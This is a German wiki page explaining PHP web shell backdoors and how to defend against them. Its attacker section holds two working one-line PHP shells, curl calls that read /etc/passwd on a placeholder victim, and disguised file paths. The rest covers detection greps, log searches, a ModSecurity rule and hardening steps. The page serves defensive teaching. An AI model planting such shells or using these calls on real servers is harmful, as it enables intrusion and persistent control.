PHP Web Shell Backdoors

Aus Xinux Wiki
Version vom 31. Mai 2026, 17:17 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „== Web Shell Backdoors == === Beschreibung === Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

Web Shell Backdoors

Beschreibung

Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht. Sie fungiert als verstecktes „Control Panel" – erreichbar über einen normalen HTTP-Request.

Web Shells gehören zu den häufigsten Persistenzmechanismen nach einer initialen Kompromittierung (z. B. über eine File-Upload-Schwachstelle oder eine veraltete CMS-Installation).

Angreiferperspektive

Minimale Web Shell

<?php
// Klassische One-Liner Web Shell
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Aufruf durch den Angreifer:

curl "https://opfer.example.com/images/header.php?cmd=id"
# Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "https://opfer.example.com/images/header.php?cmd=cat+/etc/passwd"

Erweiterte Web Shell mit POST-Parameter

<?php
// Versteckt im POST-Body – schwerer in Access-Logs zu erkennen
if (isset($_POST['x'])) {
    $cmd = $_POST['x'];
    $output = shell_exec($cmd . ' 2>&1');
    echo '<pre>' . htmlspecialchars($output) . '</pre>';
}
?>

Aufruf:

curl -X POST https://opfer.example.com/wp-includes/class-wp-image.php \
     -d 'x=whoami'

Tarnung: Dateiname und Inhalt

Angreifer benennen Web Shells gezielt unauffällig:

/images/header.php
/wp-includes/class-wp-image.php
/cache/.thumbs.php          # Punkt am Anfang → in ls ohne -a unsichtbar
/uploads/2024/img001.php

Erkennungsmerkmale (Red Flags)

Merkmal Erläuterung
system(), exec(), shell_exec(), passthru() Direkte Ausführung von Systembefehlen
$_GET, $_POST, $_REQUEST ungefiltert Benutzereingabe fließt direkt in gefährliche Funktion
Keine Authentifizierung Jeder HTTP-Client kann die Shell aufrufen
Datei in /uploads/, /cache/, /images/ PHP-Code hat dort nichts zu suchen
Ungewöhnliche Zugriffszeiten im Access-Log Requests auf selten aufgerufene PHP-Dateien, oft nachts

Suche nach Web Shells im Dateisystem

# Alle PHP-Dateien mit typischen Shell-Funktionen durchsuchen
grep -rn --include="*.php" \
    -e "system\s*(" \
    -e "shell_exec\s*(" \
    -e "exec\s*(" \
    -e "passthru\s*(" \
    /var/www/html/

# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein
find /var/www/html/uploads -name "*.php" -type f

# Kürzlich geänderte PHP-Dateien (letzte 7 Tage)
find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7

Suche im Apache Access-Log

# Requests mit typischen Shell-Parametern
grep -E "(cmd|exec|shell|pass|system)=" /var/log/apache2/access.log

# PHP-Aufrufe aus Upload-Verzeichnissen
grep "uploads/.*\.php" /var/log/apache2/access.log

Gegenmaßnahmen

php.ini: Gefährliche Funktionen deaktivieren

; /etc/php/8.2/apache2/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open,
                    pcntl_exec, eval

Nach Änderung:

systemctl restart apache2
php -r "system('id');"
# PHP Warning: system() has been disabled for security reasons

Apache: PHP-Ausführung in Upload-Verzeichnissen unterbinden

# /etc/apache2/conf-available/no-php-in-uploads.conf
<Directory /var/www/html/uploads>
    php_flag engine off
    # Alternativ mit mod_rewrite:
    <FilesMatch "\.php$">
        Require all denied
    </FilesMatch>
</Directory>
a2enconf no-php-in-uploads
systemctl reload apache2

WAF-Regel (ModSecurity / Coraza)

# Requests mit Shell-typischen GET-Parametern blockieren
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell|pass)$" \
    "id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'"

Integrity Monitoring mit AIDE

# AIDE-Datenbank initialisieren (nach sauberem Deployment)
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Tägliche Prüfung per Cron
echo "0 3 * * * root aide --check" >> /etc/cron.d/aide-check

Zusammenfassung

Angreifer will
Dauerhaften Remote-Zugriff auf den Server über HTTP
Einstiegspunkt
File-Upload-Schwachstelle, kompromittiertes CMS-Plugin, gestohlene FTP-Zugangsdaten
Persistenz
PHP-Datei in öffentlich erreichbarem Verzeichnis
Erkennung
Grep auf Filesystem + Access-Log-Analyse + Integrity Monitoring
Prävention
disable_functions, PHP in Uploads deaktivieren, WAF, regelmäßige Datei-Checks